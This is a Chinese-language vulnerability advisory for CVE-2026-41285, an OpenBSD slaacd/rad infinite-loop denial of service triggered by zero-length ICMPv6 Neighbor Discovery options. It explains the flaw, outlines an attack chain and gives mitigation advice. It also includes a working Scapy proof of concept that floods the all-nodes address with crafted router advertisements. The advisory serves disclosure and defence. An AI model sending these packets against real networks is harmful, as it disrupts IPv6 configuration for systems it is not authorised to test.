IPBUF安全漏洞报告
English
CVE-2026-41285 CVSS 4.3 中危

CVE-2026-41285 OpenBSD ICMPv6 ND选项拒绝服务漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41285
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenBSD

相关标签

拒绝服务OpenBSDICMPv6逻辑错误

漏洞概述

OpenBSD 7.8及之前版本中的slaacd和rad服务组件存在安全漏洞。攻击者可通过本地网络发送特制的ICMPv6邻居发现(ND)选项数据包,将长度字段设为零。由于代码在计算时使用nd_opt_len * 8 - 2且未检查长度是否为零,导致触发无限循环。这将使守护进程资源耗尽,造成拒绝服务。

技术细节

该漏洞影响OpenBSD系统中的slaacd(无状态地址自动配置守护进程)和rad(路由器广告守护进程)。漏洞核心在于ICMPv6邻居发现协议选项的解析逻辑中存在整数运算缺陷。根据RFC 4861,邻居发现消息包含可变长度选项,长度字段表示以8字节为单位的选项大小。OpenBSD在实现中使用表达式nd_opt_len * 8 - 2来计算数据大小,但未校验nd_opt_len是否为零。当攻击者在同一本地链路发送包含长度为零的选项的ICMPv6数据包时,计算结果异常,导致解析循环陷入死循环。攻击无需认证或用户交互,成功利用可导致CPU资源耗尽,阻断IPv6网络配置服务。

攻击链分析

STEP 1
侦察
攻击者确定本地网络中存在OpenBSD目标(版本<=7.8),并获取其IPv6链路本地地址。
STEP 2
漏洞利用
攻击者构造特制的ICMPv6邻居发现数据包(如路由器广告),其中包含长度为零的选项字段,并将其发送给目标主机。
STEP 3
拒绝服务
目标主机的slaacd或rad守护进程在解析该恶意选项时触发无限循环,导致CPU占用率飙升,服务停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
from scapy.all import * # Define the crafted ICMPv6 Neighbor Discovery Option with length 0 # This attempts to trigger the infinite loop in slaacd/rad # Target MAC and IP (adjust according to your network environment) target_mac = "00:0c:29:xx:xx:xx" src_mac = get_if_hwaddr("eth0") # Construct Ethernet frame eth = Ether(src=src_mac, dst="33:33:00:00:00:01") # Construct IPv6 header (Link-local addresses) ipv6 = IPv6(src="fe80::aaaa", dst="ff02::1") # Construct ICMPv6 Router Advertisement # We append a crafted option. Type 1 is Source Link-Layer Address, but we set Length to 0. # Normally Length is 1 (8 bytes). Setting to 0 triggers the bug. crafted_option = Raw(b"\x01\x00") # Type=1, Length=0 icmpv6_ra = ICMPv6ND_RA() # Assemble packet packet = eth / ipv6 / icmpv6_ra / crafted_option # Send the packet sendp(packet, iface="eth0", loop=1, inter=1) print("[+] Sending crafted ICMPv6 packets to trigger DoS...")

影响范围

OpenBSD <= 7.8

防御指南

临时缓解措施
建议立即检查OpenBSD版本并应用相关补丁。在无法立即升级的情况下,应严格限制本地网络的物理访问和逻辑隔离,防止潜在的攻击者发送恶意ICMPv6报文。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表